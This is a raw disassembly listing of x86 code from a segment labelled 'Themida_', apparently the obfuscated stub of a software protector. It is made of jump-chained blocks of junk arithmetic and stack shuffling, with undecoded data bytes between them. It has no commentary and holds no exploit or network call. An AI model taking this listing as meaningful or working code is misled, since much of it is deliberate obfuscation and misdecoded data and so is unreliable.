		mov	si, [esp]
		jmp	loc_55D936
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4E7FC381h, 81431E73h, 5F7374C3h, 5BDA893Bh, 0E96F281h
		dd 0FB6821F1h, 89000004h, 0BF572434h, 76227F95h, 0F7E9FE89h
		dd 53FFFF0Ch, 0C381E389h, 4, 0FFFB6DE9h, 4EC81FFh, 89000000h
		dd 0BF682414h, 8900007Ah, 0B353240Ch, 80C3FE32h, 0CBFE00F3h
		dd 5008EBC0h, 0C4FE4EB4h, 803AF480h, 0E30019C4h, 5BD98858h
		dd 0C68D1F6h, 8900007Ch, 4EB42404h, 0EC80D4F6h,	70EC80C8h
		dd 286CF480h, 0CA8858E1h, 0FFA8C4E9h, 241C8BFFh, 0E904C483h
		dd 0FFFFC60Fh
; ---------------------------------------------------------------------------

loc_563BD0:				; CODE XREF: Themida_:00557DBAj
		pop	ebx
		push	2302h
		mov	[esp], ecx
		mov	ch, 6Ah
		jmp	loc_56276A
; ---------------------------------------------------------------------------

loc_563BE0:				; CODE XREF: Themida_:005637EEj
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7F5A2468h
		jmp	loc_558466
; ---------------------------------------------------------------------------

loc_563BF9:				; CODE XREF: Themida_:00553A6Ej
		pop	ecx
		add	esp, 4
		jmp	loc_562F28
; ---------------------------------------------------------------------------
		db 89h,	0CAh, 8Bh
		dd 0C481240Ch, 4, 0E7792705h, 2DD00179h, 79E77927h, 4EC815Ah
		dd 89000000h, 63BB241Ch, 8175521Bh, 0B962CECBh,	0EB814353h
		dd 40E70E7Ah, 0FFFFEB81h, 0F381FFFFh, 37146D73h, 0FF60E6E9h
		dd 2434FFFFh, 4C48358h,	0C1BF302Dh, 58C601FDh, 8704EE83h
		dd 0E95C2434h, 0FFFF9CDBh, 89240C89h, 6FABE9E1h, 9068FFFFh
		dd 89000011h, 68512404h, 67D921D3h, 31C18159h, 519826DEh
		dd 0FFDD5FE9h, 6CE95CFFh, 51FFFF8Dh, 0F076E568h, 240C8B2Dh
		dd 8304C483h, 48904ECh,	7D37E924h, 0C481FFFFh, 4, 278CE9h
		db 0
; ---------------------------------------------------------------------------

loc_563CB1:				; CODE XREF: Themida_:00561EF3j
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_566B8E
; ---------------------------------------------------------------------------

loc_563CC6:				; CODE XREF: Themida_:005530F3j
		xor	eax, [esp]
		jmp	loc_556C0A
; ---------------------------------------------------------------------------

loc_563CCE:				; CODE XREF: Themida_:0055AE15j
		mov	edx, esp
		add	edx, 4
		jmp	loc_564C26
; ---------------------------------------------------------------------------

loc_563CDB:				; CODE XREF: Themida_:00552949j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5534F0
; ---------------------------------------------------------------------------
		db 89h
		dd 4682434h, 5E000000h,	4244481h, 6E14094h, 4247401h, 4246C81h
		dd 6E14094h, 0EAE8E95Eh, 3C87FFFEh, 24248B24h, 5104C483h
		dd 163357B9h, 0EE7DE92Ah, 34FFFFFEh, 2434FF24h,	582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_560C45
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 0D3BEE95Ch, 215FFFFFh
		dd 0BF575AD1h, 203A6059h, 6A8668h, 0A7ADE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563D86:				; CODE XREF: Themida_:0055516Fj
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55299F
; ---------------------------------------------------------------------------
		db 0B4h, 33h, 80h
		dd 0E688ECF4h, 0FFBC9DE9h, 4E981FFh, 87000000h,	895C240Ch
		dd 8BE9241Ch
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563DB3:				; CODE XREF: Themida_:00556508j
		push	edi
		mov	edi, 38EC41B2h
		sub	edi, 0FCC313D0h
		jmp	loc_5618DA
; ---------------------------------------------------------------------------
		dd 58C6015Ch, 2D70BF57h, 0E7C179F3h, 14F75703h,	0CF875F24h
		dd 0FF9723E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563DDD:				; CODE XREF: Themida_:0055416Bj
		sub	[esp], ebx
		sub	dword ptr [esp], 30285D4Bh
		push	dword ptr [esp]
		jmp	loc_556427
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4EC8352h, 50240C89h,	0E188DC88h, 8124048Bh, 4C4h, 4BC2E900h
		dd 32FFFFFFh, 113AE9h, 44E95C00h, 81FFFF62h, 0A64063E9h
		dd 2CE98150h, 315BF254h, 0D33159CAh, 3389E95Ah,	8668FFFFh
		dd 89000029h, 0E0B42404h, 0FF1E1EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563E3D:				; CODE XREF: Themida_:00559DD9j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	edi
		push	ebx
		mov	ebx, 2
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		db 35h,	0D2h, 35h
		dd 7FE9541Ch
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563E73:				; CODE XREF: Themida_:00566E87j
		add	ebp, 3CAB4A29h
		add	ebp, 1AECD153h
		add	eax, ebp
		pop	ebp
		jmp	loc_564EA9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 0E9A9E904h, 0BB53FFFEh, 4E7961D0h, 0EFC38143h
		dd 290CC90Ah, 241C8BDDh, 0E904C483h, 0FFFF5EE2h
; ---------------------------------------------------------------------------

loc_563EAC:				; CODE XREF: Themida_:00559646j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5679DE
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 4244481h,	711069EFh, 4245401h, 4246C81h, 711069EFh
		dd 0E924148Bh, 3909h, 67D1BE56h, 0E6C16EE6h, 0F0C68104h
		dd 0E9119982h, 0FFFF56AFh
; ---------------------------------------------------------------------------

loc_563EF0:				; CODE XREF: Themida_:0055F5CDj
		dec	edx
		xor	edx, 0F61E58CAh
		mov	edi, edx
		pop	edx
		xor	esi, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5594BC
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 0E9000000h, 0FFFF4B96h, 8424248Bh,	0DFE99CC8h
		dd 0C1FFFEE8h, 0E95307E3h, 0FFFFFA3Fh
; ---------------------------------------------------------------------------

loc_563F28:				; CODE XREF: Themida_:0056354Bj
		push	edx
		mov	edx, 4
		add	edi, 29780347h
		push	ecx
		jmp	loc_5619C2
; ---------------------------------------------------------------------------
		dw 555Ch
		dd 4BDh, 5DE90100h, 2C181h, 0C330000h, 240C3124h, 8B240C33h
		dd 0F662424h, 9C2404A3h, 0FEE89DE9h, 0B652ACFFh, 20E4E965h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563F6A:				; CODE XREF: Themida_:0055913Ej
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		shr	ecx, 0Ah
		push	ebx
		push	edx
		push	188Fh
		mov	[esp], ebp
		mov	ebp, 3F7815A7h
		jmp	loc_556EC9
; ---------------------------------------------------------------------------

loc_563F8E:				; CODE XREF: Themida_:005620EBj
		push	cx
		mov	ch, 0C7h
		shr	ch, 7
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 9Fh
		xor	ch, dl
		mov	edx, [esp]
		push	4944h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_558567
; ---------------------------------------------------------------------------

loc_563FBE:				; CODE XREF: Themida_:005652C3j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_552C80
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 74FF5604h, 8F5E0424h, 0E95C2404h, 0FFFF9E52h
		dd 13E9028Fh, 89FFFEE8h, 0E954240Ch, 0FFFF9F9Bh, 9A268h
		dd 24048900h, 3868h, 4DDEE900h,	815AFFFFh, 4C4h, 24048F00h
		dd 0FF4EC5E9h, 5BDD01FFh, 585D68h, 24348900h, 0D82026BEh
		dd 0E005E957h, 348BFFFFh, 8BE95724h, 0B8FFFF4Ch, 4963136Dh
		dd 1F8BE948h, 14870000h, 4895C24h, 0E9526624h, 0FFFFB009h
; ---------------------------------------------------------------------------

loc_56404C:				; CODE XREF: Themida_:00553C28j
		mov	[esp], ebx
		jmp	loc_563A7C
; ---------------------------------------------------------------------------

loc_564054:				; CODE XREF: Themida_:00561635j
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		xchg	eax, ecx
		sub	esp, 4
		jmp	loc_558F72
; ---------------------------------------------------------------------------

loc_564070:				; CODE XREF: Themida_:005617F3j
		mov	ebx, [esp]
		jmp	loc_559FA2
; ---------------------------------------------------------------------------

loc_564078:				; CODE XREF: Themida_:005596EDj
		pop	edx
		push	eax
		mov	eax, 0C5859A09h
		jmp	loc_5561ED
; ---------------------------------------------------------------------------
		dd 0D8F7D8F7h, 969F9E05h, 58C601EEh, 50685157h,	5904B130h
		dd 0D00E981h, 0AEE9AE95h, 81FFFFAAh, 4C1h, 240C8700h, 8F24248Bh
		dd 0E95C2404h, 0FFFF718Ah
; ---------------------------------------------------------------------------

loc_5640B8:				; CODE XREF: Themida_:00560E52j
		mov	ebx, 200000h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55BBF4
; ---------------------------------------------------------------------------
		dd 36B9E952h, 405FFFFh,	0E9000000h, 0FFFF08D3h,	83241C8Bh
		dd 0BD5504C4h, 503C1A7Ch, 0F581DDF7h, 0AFC3E580h, 815DEB01h
		dd 4ECh, 1225E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5640FA:				; CODE XREF: Themida_:0055B3A7j
		pop	esp
		mov	[esp], ecx
		push	55F7h
		mov	[esp], eax
		jmp	loc_55CDC1
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF2ABAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564111:				; CODE XREF: Themida_:0055A3D4j
		push	65BEh
		mov	[esp], ebx
		jmp	loc_5573CF
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 55CDA932h, 8359CA01h, 0FF5202C2h, 5A042474h,	0FF1D6AE9h
		dd 241489FFh, 104201BAh, 8BD1311Ah, 0C4812414h,	4, 5359C801h
		dd 8904EC83h, 4BA2414h,	89000000h, 2434FFD3h, 4C4835Ah
		dd 0FF724EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564165:				; CODE XREF: Themida_:0055F5D3j
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_557FA2
; ---------------------------------------------------------------------------

loc_56417A:				; CODE XREF: Themida_:00560493j
		pop	ecx
		mov	ch, dl
		jmp	loc_558B8D
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 4BF5704h, 0E9000000h, 787h
; ---------------------------------------------------------------------------

loc_564194:				; CODE XREF: Themida_:00567B60j
		add	edx, 37D9311h
		jmp	loc_55E599
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E18102E9h, 36D23065h, 874AD187h, 0FCE981D1h, 112120Fh
		dd 0C68159CEh, 4, 0E9243433h, 0FFFFE48Fh, 8104C483h, 0C10317E9h
		dd 81C12921h, 0C10317C1h, 2434FF21h, 0BD45E958h, 1431FFFFh
		dd 24143324h, 0FF6682E9h, 2434FFFFh, 582434FFh,	2C0C6853h
		dd 24890000h, 24048124h, 4, 0CDDAE95Bh,	0E95CFFFFh, 0FFFF5C17h
		dd 9C76BCBFh, 2E7C13Bh,	1C4FCF81h, 0EF835712h, 0F7DF8701h
		dd 50DF87D3h, 9D5C45B8h, 0EAE95753h, 100000Ch, 8104245Ch
		dd 0E704246Ch, 0E942D757h, 0FFFF8C4Dh, 5D4FC181h, 0E901253Dh
		dd 71C768h, 24348900h, 0FFAFEDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564255:				; CODE XREF: Themida_:0055B6A9j
		add	eax, ecx
		sub	eax, 42A406F9h
		add	eax, 4A0E33C7h
		jmp	loc_55ABBE
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 247244DBh, 2A9BC981h, 0E981392Bh, 2D9E74F5h,	206CE981h
		dd 0E1C15240h, 0F3C98107h, 8158096Bh, 0F7DC6C1h, 50D3E98Ch
		dd 0C33FFFFh, 2690E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56429A:				; CODE XREF: Themida_:005592CBj
		push	dword ptr [eax]
		xor	dword ptr [esp], 72F663ACh
		jmp	loc_55E834
; ---------------------------------------------------------------------------
		dd 0EC80ECD0h, 0E2885213h, 8B5AD188h, 0C4832404h, 59CE0004h
		dd 3297E9h, 0E9DDB700h,	0FFFF335Dh
; ---------------------------------------------------------------------------

loc_5642C8:				; CODE XREF: Themida_:0055DE6Fj
		mov	edi, ebp
		jmp	loc_55BD18
; ---------------------------------------------------------------------------

loc_5642CF:				; CODE XREF: Themida_:0055F020j
		add	esi, 2307EA36h
		mov	edx, esi
		pop	esi
		mov	edi, 0F03ECC7h
		add	edi, edx
		pop	edx
		push	edx
		push	edi
		add	dword ptr [esp], 71635FDFh
		jmp	loc_55DD2E
; ---------------------------------------------------------------------------

loc_5642EE:				; CODE XREF: Themida_:0056208Dj
		add	ch, 14h
		push	2BF8h
		mov	[esp], ebx
		jmp	loc_564496
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 5C240C87h, 10A5E9h, 6EC2D00h, 0D82965BEh,	0BE06EC05h
		dd 4EC8365h, 0E9241C89h, 0FFFF3458h, 456A5ABDh,	5FFD011Fh
		dd 7E656CBFh, 5DEF31C0h, 555FF901h, 2437B6BDh, 45DDF740h
		dd 38A9E955h, 248BFFFFh, 4C38124h, 87000000h, 248B241Ch
		dd 24040924h, 0E4A0E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56435E:				; CODE XREF: Themida_:00555DB6j
					; Themida_:005606A3j ...
		push	636Ah
		mov	[esp], esi
		mov	esi, ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55AD8C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 0C1BF5756h, 0E9561B2Ah, 0FFFFCF1Ah
; ---------------------------------------------------------------------------

loc_564398:				; CODE XREF: Themida_:0055C8F3j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_55AA50
; ---------------------------------------------------------------------------

loc_5643A6:				; CODE XREF: Themida_:0055D68Dj
		mov	[esp], ebx
		mov	bl, 0BBh
		xor	ch, bl
		mov	ebx, [esp]
		jmp	loc_564DC9
; ---------------------------------------------------------------------------
		db 45h,	81h, 0C5h
		dd 3CA4268h, 0FFB97EE9h, 1A3068FFh, 4890000h, 0C7BB5324h
		dd 0E92C167Bh, 0FFFF1ADEh, 4BBh, 357E900h, 1489FFFFh, 347DBA24h
		dd 0EA813E96h, 10517138h, 7C58CA81h, 0DAF715C1h, 1949F281h
		dd 0D729E48Ah, 5FFA295Ah, 24143358h, 33241431h,	248B2414h
		dd 6A1A6824h, 4890000h,	771DE924h, 0D787FFFFh, 0C6C78147h
		dd 81802C84h, 0DF7B68C5h, 81FD0149h, 0DF7B68EDh, 0E2685F49h
		dd 89000011h, 0B9512434h, 0D126A0Dh, 0BBE9D1F7h, 5FFFFFA2h
		dd 0E92434FFh, 0FFFFA391h, 240C8B66h, 81E18951h, 4C1h
		dd 4E98100h, 87000000h,	248B240Ch, 0FB7DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56446E:				; CODE XREF: Themida_:0055DD56j
		mov	[esp], ebp
		mov	ebp, 800h
		push	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	ebp
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_55E5A1
; ---------------------------------------------------------------------------
		db 0C0h, 0EBh, 3
		dd 0E380CBFEh, 0DA7EE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564496:				; CODE XREF: Themida_:005642F9j
		push	5229h
		mov	[esp], eax
		push	ecx
		mov	cl, 0A9h
		mov	al, cl
		jmp	loc_560FCB
; ---------------------------------------------------------------------------

loc_5644A8:				; CODE XREF: Themida_:00558D45j
		and	ebx, 297C261Ah
		xor	ebx, 2950040Ah
		jmp	loc_5650BD
; ---------------------------------------------------------------------------
		db 0Dh,	61h, 1Ah
		dd 0E7353E8Eh, 817FEF1Eh, 0E520DDEAh, 81C20146h, 0E520DDC2h
		dd 24048B46h, 0FEFB76E9h, 243C31FFh, 31243C33h,	12E9243Ch
		dd 59FFFF30h, 14AF68h, 241C8900h, 5C0BBA52h, 0CA81662Fh
		dd 12EC411Eh, 13F2814Ah, 524C1C31h, 33242C81h, 5B412C51h
		dd 5133C381h, 0C15A412Ch, 4E902E3h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56451B:				; CODE XREF: Themida_:00557ABAj
		add	edi, 4
		jmp	loc_55395A
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BEFh, 33C0E950h, 8B66FFFFh, 89512404h, 35FC68E1h
		dd 14890000h, 0DECFE924h, 0C483FFFFh, 0E2B4E904h, 5666FFFEh
		dd 678768h, 240C8900h, 49A6B966h, 98C18166h, 66416674h
		dd 72E6C981h, 99C98166h, 0D9F76676h, 0FF5603E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564571:				; CODE XREF: Themida_:00566F96j
		pop	ebx
		sub	dh, 38h
		sub	dh, cl
		push	eax
		mov	al, 4Dh
		neg	al
		jmp	loc_55A325
; ---------------------------------------------------------------------------
		db 1, 0F8h, 5Fh
		dd 811F7305h, 0C331593Dh, 6BE9C231h, 81FFFEE2h,	20035DE6h
		dd 0E5E68131h, 0C1645E59h, 0EE8104E6h, 0AE5B9767h, 0C681DEF7h
		dd 1BE3433Fh, 3509C681h, 0E9564AC4h, 0FFFF6EFBh, 427C181h
		dd 34FF248Bh, 0A1685F24h, 0E900005Ah, 0FFFF6F26h, 5259CD01h
		dd 4BAh, 0B3CBE900h, 55B8FFFFh,	0C161631Ch, 79E904E0h
		dd 81000018h, 2930DCF7h, 9EF7810Ah, 89734770h, 0EE815FF8h
		dd 5D051875h, 2AC3EE81h, 0C6017D20h, 2AC3C681h,	0C6817D20h
		dd 5D051875h, 0E92434FFh, 0FFFF9D56h, 2474FF50h, 24048B04h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFC46Dh
		dd 33241C31h, 248B241Ch, 2CD36624h, 0AFE99C24h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56464F:				; CODE XREF: Themida_:0055451Fj
		mov	cl, 0A5h
		sub	dl, cl
		pop	ecx
		and	ch, dl
		pop	edx
		shl	ch, 2
		dec	ch
		push	ebx
		mov	bh, 3Bh
		xor	bh, 46h
		shr	bh, 4
		sub	bh, 0E4h
		shr	bh, 6
		sub	bh, 0C3h
		sub	ch, bh
		jmp	loc_567C1D
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 1Ch
		dd 7FE99C24h, 81FFFEE1h, 192F44CDh, 10C5817Ch, 1032650h
		dd 0EC835DE9h, 24148904h, 0BF57E289h, 7465014h,	0CF81DFF7h
		dd 49A153DAh, 0F0FE9h, 8BF00100h, 0EFE92434h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5646B3:				; CODE XREF: Themida_:00560936j
		pop	esi
		xchg	esi, [esp]
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 0E052BBAEh
		sub	edi, ebx
		pop	ebx
		add	edi, 3F3058E9h
		and	edi, 29A13911h
		or	edi, 3D0D3AA5h
		sub	edi, 7EF34FA4h
		xor	esi, edi
		pop	edi
		push	51CFh
		mov	[esp], esi
		xor	dword ptr [esp], 266C4ABFh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ebx, 266C4ABFh
		pop	esi
		and	eax, ebx
		pop	ebx
		jmp	loc_5594F2
; ---------------------------------------------------------------------------
		dd 48BC209h, 4C48324h, 0FFC042E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564719:				; CODE XREF: Themida_:00558912j
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5634C1
; ---------------------------------------------------------------------------
		db 1
aPZQ		db 'ÏP¸z(ï',0
		db 2Dh
		dd 0A409FB18h, 0FF58C701h, 50592434h, 0FFD52FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564751:				; CODE XREF: Themida_:0055DF79j
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	4544h
		jmp	loc_560927
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 3E96E902h, 8B66FFFFh, 23E9240Ch, 52FFFF0Eh, 422691BAh
		dd 0C2814A4Ch, 0EBEAEF3Fh, 200FC381h, 0C38138EAh, 7D0E3E09h
		dd 0EB81D301h, 7D0E3E09h, 200FEB81h, 4B5A38EAh,	2B60F381h
		dd 0C2815123h, 5FEF6C8Dh, 0EA81DA01h, 5FEF6C8Dh, 83241C8Bh
		dd 0C28304C4h, 31FF6804h, 14890000h, 2474FF24h,	6A37E904h
		dd 0C581FFFFh, 38621CF1h, 0FF7FC6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5647D9:				; CODE XREF: Themida_:0055CAADj
		mov	edi, 187B15E2h
		push	esi
		mov	esi, 0
		sub	esi, edi
		xchg	esi, edi
		jmp	loc_558481
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0B2h
		dd 8BFFFF7Fh, 0E9562424h, 0FFFF2F45h, 31240C33h, 0C33240Ch
		dd 4D35C24h, 0EFE99C24h, 52FFFEDFh, 0FF437EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564815:				; CODE XREF: Themida_:00562DACj
		xor	ecx, 2CA182E5h
		add	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_5530D8
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2830000h, 0FB60E904h, 7E68FFFEh, 0E900001Dh
		dd 0FFFF1CCDh, 8B66F000h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_566705
; ---------------------------------------------------------------------------

loc_56484F:				; CODE XREF: Themida_:005676A8j
		sub	eax, 27437773h
		jmp	loc_55478E
; ---------------------------------------------------------------------------

loc_564859:				; CODE XREF: Themida_:0055D041j
		add	bl, dl
		sub	bl, 25h
		jmp	loc_56068B
; ---------------------------------------------------------------------------
		db 81h
		dd 8A082444h, 523C1A6Eh, 2A7667BAh, 24540149h, 34FF5A0Ch
		dd 24348B24h, 4C481h, 70680000h, 89000077h, 0E389241Ch
		dd 0FF39EAE9h, 8FE956FFh
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564897:				; CODE XREF: Themida_:0055B328j
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_5659BE
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 4C481h, 0D8010000h, 7721692Dh, 241C8B7Fh
		dd 6804C483h, 5758h, 0FF74B1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5648C5:				; CODE XREF: Themida_:0055C04Aj
		mov	[esp], edx
		mov	edx, 28B554A9h
		mov	ebx, edx
		pop	edx
		shr	ebx, 5
		push	ebp
		push	2447112Eh
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55DCC3
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0FF6873E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5648ED:				; CODE XREF: Themida_:005599D4j
		add	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 2
		push	ebp
		mov	ebp, 4EFB0F55h
		add	eax, 30604A99h
		add	eax, ebp
		sub	eax, 30604A99h
		jmp	loc_5624A0
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 27E92414h, 1FFFF04h, 0EC815FFAh, 4, 50243C89h
		dd 1449E9h, 0D0E95900h,	89FFFF88h, 12BE2434h, 1359851h
		dd 34FF5EF0h, 40E95B24h, 8FFFFF84h, 248B2404h, 2434FF24h
		dd 1B226858h, 3C890000h, 51E78924h, 468h, 0CF015900h, 0E9240C8Bh
		dd 0FFFF850Bh, 60B503B6h, 3EED80h, 3EC580F5h, 0FFEC005Ah
		dd 0B0E92434h, 5BFFFF5Dh, 4C381h, 50570000h, 4B8h, 58C78900h
		dd 1BE9FB01h, 68FFFFA1h, 597Eh,	0FFCD61E9h, 88C381FFh
		dd 0E95DFD11h, 501h
; ---------------------------------------------------------------------------

loc_5649B0:				; CODE XREF: Themida_:00561DE8j
		not	eax
		add	eax, 7D0A5F81h
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 639643A8h
		push	ecx
		push	240475D2h
		pop	ecx
		not	ecx
		neg	ecx
		sub	ecx, 879AB977h
		jmp	loc_562036
; ---------------------------------------------------------------------------
		dd 81FA015Bh, 3A16BAEAh, 243C8B00h, 81E38953h, 4C3h, 765CE900h
		dd 0BA52FFFFh, 4, 4245401h, 5624148Bh, 0FEE1B7E9h, 81D5F7FFh
		dd 6F6B1EEDh, 5DEA317Bh, 0FEEB6AE9h, 8BF520FFh,	0C4832414h
		dd 1C31E904h, 59BA0000h, 1EA20A6h, 0E9815BDAh, 12B3CDCh
		dd 0C181D129h, 12B3CDCh, 0E924148Bh, 0FFFF8FE4h, 4BF57h
		dd 0C3810000h, 0EDB2A77h, 0BF57FB29h, 0EDB2A77h, 0EEE9FB29h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564A67:				; CODE XREF: Themida_:00558700j
		mov	ebx, 505116E0h
		jmp	loc_561E66
; ---------------------------------------------------------------------------

loc_564A71:				; CODE XREF: Themida_:00556C18j
		mov	[esp], edx
		mov	edx, 4D926F52h
		push	588B842Fh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5554E9
; ---------------------------------------------------------------------------
		db 89h,	0CEh, 8Bh
		dd 0C481240Ch, 4, 0E92434FFh, 0FFFF3AAFh
; ---------------------------------------------------------------------------

loc_564A9C:				; CODE XREF: Themida_:00567172j
		not	dword ptr [esp]
		inc	dword ptr [esp]
		pop	esi
		xor	esi, 1FB45187h
		or	esi, 416B2532h
		jmp	loc_5580AF
; ---------------------------------------------------------------------------

loc_564AB4:				; CODE XREF: Themida_:00563269j
		jz	loc_55F48A
		push	eax
		push	ebx
		mov	ebx, 264A65C7h
		shr	ebx, 8
		inc	ebx
		shr	ebx, 6
		shl	ebx, 5
		and	ebx, 515F5125h
		xor	ebx, 13013Ch
		mov	eax, ebx
		pop	ebx
		add	eax, 27437773h
		push	esi
		push	ebx
		mov	ebx, 0CA6746Fh
		mov	esi, 5DAC932Dh
		sub	esi, ebx
		pop	ebx
		xor	esi, 5B106FF3h
		not	esi
		and	esi, 5F061193h
		jmp	loc_557F6C
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 81h
		dd 2B0E8CEEh, 0C6835A05h, 0E6E94E01h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564B13:				; CODE XREF: Themida_:00557BB8j
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_559842
; ---------------------------------------------------------------------------
		dd 0E789575Fh, 4C781h, 8FE90000h, 5200001Dh, 0D737FFBAh
		dd 5AD6290Eh, 2A79E9h, 81E28900h, 4C2h,	9A01E900h, 34FFFFFFh
		dd 240C8B24h, 8304C483h, 545204C4h, 5224148Bh, 0F69BE954h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564B6E:				; CODE XREF: Themida_:0055A816j
		pop	ebp
		pop	ebx
		add	ebp, 0E9F7BFDBh
		push	2928h
		mov	[esp], ebp
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_55BED6
; ---------------------------------------------------------------------------
		db 59h,	83h, 0ECh
		dd 240C8904h, 0BBE9B2B1h, 0C1FFFF11h, 0E8D102E0h, 0E92EA835h
		dd 58C60172h, 4C68158h,	0E9000000h, 0FFFF9FA4h
; ---------------------------------------------------------------------------

loc_564BBC:				; CODE XREF: Themida_:0055DB87j
		mov	[esp], esi
		push	5F075F43h
		mov	esi, [esp]
		add	esp, 4
		neg	esi
		push	ecx
